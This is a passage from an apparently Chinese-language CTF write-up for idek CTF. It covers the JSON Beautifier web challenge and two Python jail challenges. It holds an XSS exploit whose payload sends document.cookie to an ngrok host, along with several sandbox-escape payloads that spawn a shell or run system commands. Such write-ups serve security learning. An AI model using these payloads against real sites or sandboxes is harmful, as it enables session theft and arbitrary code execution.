			.replace(/&/g, '&amp;')
			.replace(/</g, '&lt;')
			.replace(/>/g, '&gt;')
			.replace(/"/g, '&quot;')
			.replace(/'/g, '&#039;')
	}
	const target = 'http://json-beautifier.chal.idek.team:1337/'
	const ht =
		`<div id=json-input>["*/eval(top.name)//"]</div>
    <iframe name=config srcdoc='<head></head><frameset id=opts cols="/*">
            <frame id=debug src=about:blank />
        </frameset>
    '></iframe>
    <script src=/static/js/main.js?iframe></` + `script>`
	window.name = '(new Image).src = "https://???.ngrok.io/report?" + document.cookie'
	location =
		target +
		'?json=' +
		encodeURIComponent(
			JSON.stringify({
				a: `<iframe srcdoc='${htmlEscape(ht)}'></iframe>`
			})
		)
</script>

idek{w0w_th4t_JS0N_i5_v3ry_beautiful!!!}

其實上面那個 JSON.stringify([0], null, 'eval(name),') 只需要換成 JSON.stringify([-1], null, 'eval(name)') 就行了，這麼簡單的東西我居然賽後才看到別人的討論才發現...

misc

pyjail

#!/usr/bin/env python3

blocklist = ['.', '\\', '[', ']', '{', '}',':']
DISABLE_FUNCTIONS = ["getattr", "eval", "exec", "breakpoint", "lambda", "help"]
DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}

print('welcome!')

while True:
    cmd = input('>>> ')
    if any([b in cmd for b in blocklist]):
        print('bad!')
    else:
        try:
            print(eval(cmd, DISABLE_FUNCTIONS))
        except Exception as e:
            print(e)

看到這個讓我想到 hsctf 9 - pass v2 的一個 unintended solution，所以用這個直接秒殺

setattr(copyright,'__dict__',globals()),delattr(copyright,'breakpoint'),breakpoint()

idek{9eece9b4de9380bc3a41777a8884c185}

Pyjail Revenge

#!/usr/bin/env python3

def main():
    blocklist = ['.', '\\', '[', ']', '{', '}',':', "blocklist", "globals", "compile"]
    DISABLE_FUNCTIONS = ["getattr", "eval", "exec", "breakpoint", "lambda", "help"]
    DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}

    print('welcome!')

    # NO LOOP!

    cmd = input('>>> ')
    if any([b in cmd for b in blocklist]):
        print('bad!')
    else:
        try:
            print(eval(cmd, DISABLE_FUNCTIONS))
        except Exception as e:
            print(e)

if __name__ == '__main__':
    main()

可以看到對於我前一題的做法來說除了多擋了 globals 以外都沒差，而那個可以透過 unicode 繞過:

setattr(copyright,'__dict__',gloｂals()),delattr(copyright,'breakpoint'),breakpoint()

idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}

其他在 Discord 看到的有趣解法:

@downgrade (Intended Solution):

__import__('antigravity',setattr(__import__('os'),'environ',dict(BROWSER='/bin/sh -c "/readflag giveflag" #%s')))

@intrigus, @Robin:

(setattr(__import__("sys"), "path", list(("/dev/shm/",))), print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/lol" + chr(46) + "py", "w")), __import__("lol"))

@AdnanSlef:

setattr(__import__('sys'),'modules',__builtins__) or __import__('getattr')(__import__('os'),'system')('sh')

@lebr0nli:

gist

@JoshL:

setattr(__import__("__main__"), "blocklist", list())

crypto#

ECRSA#

Formal Security Poop#

Chronophobia#

Finite Realm of Random#

Decidophobia#

Intended Solution#

Unintended Solution#

web#

SimpleFileServer#

Paywall#

JSON Beautifier#

misc#

pyjail#

Pyjail Revenge#